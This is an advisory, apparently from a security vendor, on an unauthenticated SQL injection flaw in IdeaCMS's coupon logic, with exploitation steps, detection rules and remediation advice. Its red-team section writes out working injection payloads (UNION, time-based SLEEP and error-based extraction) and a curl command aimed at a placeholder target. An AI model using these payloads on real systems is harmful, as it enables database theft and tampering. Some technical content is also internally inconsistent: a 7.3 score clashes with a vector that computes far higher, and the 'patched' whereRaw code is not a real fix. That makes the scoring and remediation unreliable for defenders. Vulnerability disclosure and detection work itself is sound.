CVE-2025-14245

Executive Summary

CVE-2025-14245 is a critical SQL injection vulnerability discovered in IdeaCMS up to version 1.8. The flaw resides in the whereRaw function within the file app/common/logic/index/Coupon.php. By manipulating the params argument, an unauthenticated remote attacker can inject arbitrary SQL commands, leading to potential data exfiltration, modification, or complete database compromise. The vulnerability has a CVSS score of 7.3 (High) and a public proof-of-concept (PoC) exploit is available. No official patch has been released at this time.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a direct vulnerability in the IdeaCMS PHP application.

CVSS Breakdown & Threat Level

• CVSS Score: 7.3 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Network (N) - The attack can be launched remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): None (N) - No authentication is needed.
• User Interaction (UI): None (N) - No user action is required.
• Scope (S): Unchanged (U) - The vulnerability does not affect other components.
• Confidentiality (C): High (H) - Full database read access is possible.
• Integrity (I): High (H) - Data can be modified or deleted.
• Availability (A): High (H) - Database operations can be disrupted.

Threat Level: High. The combination of remote exploitability, low complexity, and no required authentication makes this a severe threat. Public exploit code increases the risk of widespread attacks.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection flaw in the whereRaw method of the IdeaCMS coupon logic. The whereRaw function is typically used to add raw SQL conditions to a query. The application fails to sanitize or parameterize the params argument before passing it to this function.

Vulnerable Code Path:

1. An HTTP request is made to an endpoint that triggers the coupon logic.
2. The params argument is extracted from the request (e.g., GET or POST data).
3. This argument is directly passed to the whereRaw method without any escaping or prepared statements.
4. An attacker can inject SQL keywords and operators to alter the intended query.

Example of vulnerable code (conceptual):

// app/common/logic/index/Coupon.php
public function getCoupons($params) {
    return $this->whereRaw($params)->select();
}

An attacker could supply a params value like:

1=1 AND (SELECT 1 FROM (SELECT SLEEP(5))a)

This would cause a time-based delay, confirming the injection point.

Vulnerable vs. Patched Code

Vulnerable Code (IdeaCMS <= 1.8):

// app/common/logic/index/Coupon.php
public function getCoupons($params) {
    // Directly using user input in whereRaw
    return $this->whereRaw($params)->select();
}

Patched Code (Hypothetical):

// app/common/logic/index/Coupon.php
public function getCoupons($params) {
    // Use parameterized queries or prepared statements
    // Example using Laravel's query builder (if applicable)
    return $this->whereRaw('?', [$params])->select();
    // Or better, avoid whereRaw entirely and use where with bindings
    // return $this->where('field', $params)->select();
}

Key Difference: The patched version uses parameterized queries (the ? placeholder) to ensure user input is treated as data, not executable SQL. The vulnerable version directly concatenates user input into the SQL string.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A target running IdeaCMS <= 1.8.
• Network access to the vulnerable endpoint.

Exploitation Steps:

1. Identify the vulnerable endpoint: The endpoint is likely related to coupon functionality, e.g., /index/coupon/list or similar.

2. Craft the injection payload: The params argument is the injection point. A simple boolean-based payload:

   params=1=1 AND 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10--
   

3. Time-based blind injection (if no output):

   params=1=1 AND (SELECT 1 FROM (SELECT SLEEP(5))a)--
   

4. Extract data (example for MySQL):

   params=1=1 AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT database()),FLOOR(RAND()*2))a FROM information_schema.tables GROUP BY a)b)--
   

Example curl command:

curl -X POST "http://target.com/index/coupon/list" \
  -d "params=1=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--"

Note: The exact endpoint and parameter names may vary. Use reconnaissance to find the correct path.

Blue Team (Detection & Response)

Detection Steps:

1. Monitor Web Server Logs: Look for unusual SQL keywords in request parameters, especially in the params field.
2. Database Monitoring: Enable query logging to detect anomalous SQL queries.
3. WAF Rules: Deploy Web Application Firewall rules to block common SQL injection patterns.

Response Steps:

1. Isolate the affected system: Disconnect the vulnerable server from the network if possible.
2. Analyze logs: Determine if any data was exfiltrated.
3. Apply virtual patching: Use a WAF to block the vulnerable parameter until a permanent fix is available.
4. Upgrade: If a patch becomes available, apply it immediately.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests containing SQL keywords (SELECT, UNION, SLEEP, etc.) in the params parameter.
• Unusual response times (for time-based injection).
• Error messages containing SQL syntax errors.

File System IOCs:

• Modified or new files in the web root (e.g., webshells).
• Unusual entries in web server access logs.

Log IOCs:

• Database logs showing unexpected queries with UNION or subqueries.
• Web server logs with 500 errors from the coupon endpoint.

Detection Engineering

YARA Rule

rule CVE_2025_14245_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-14245 in IdeaCMS"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-14245"
        severity = "high"

    strings:
        $sqli1 = /params=.*(?:SELECT|UNION|SLEEP|BENCHMARK|LOAD_FILE|INTO OUTFILE)/i
        $sqli2 = /params=.*(?:1=1|1=2|' OR '1'='1)/i
        $sqli3 = /params=.*(?:--|#|\/\*)/i

    condition:
        any of them
}

Sigma Rule

title: CVE-2025-14245 SQL Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts targeting the params parameter in IdeaCMS
author: Valters IT
date: 2025/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-14245
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - 'params='
        cs-uri-query|re:
            - '.*(?:SELECT|UNION|SLEEP|BENCHMARK).*'
            - '.*(?:1=1|1=2).*'
            - '.*(?:--|#).*'
    condition: selection
falsepositives:
    - Legitimate use of SQL keywords in non-vulnerable parameters
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-14245 SQL Injection Attempt"; flow:to_server,established; content:"params="; http_uri; pcre:"/(?:SELECT|UNION|SLEEP|BENCHMARK|1=1|1=2|--|#)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable functionality: If possible, disable the coupon feature until a patch is available.
2. Web Application Firewall (WAF): Deploy a WAF with rules to block SQL injection patterns in the params parameter.
3. Input Validation: Implement strict input validation and sanitization for all user-supplied data.

Long-Term Fix:

1. Apply the official patch: Monitor the IdeaCMS official website or repository for a security update.
2. Code Review: Review all uses of whereRaw and similar functions in the codebase. Replace them with parameterized queries or prepared statements.
3. Upgrade: Upgrade to the latest version of IdeaCMS once a patched version is released.

Workaround (if patching is not possible):

• Modify the vulnerable file (app/common/logic/index/Coupon.php) to use parameterized queries as shown in the "Patched Code" section above.

Valters IT
Securing Digital Frontiers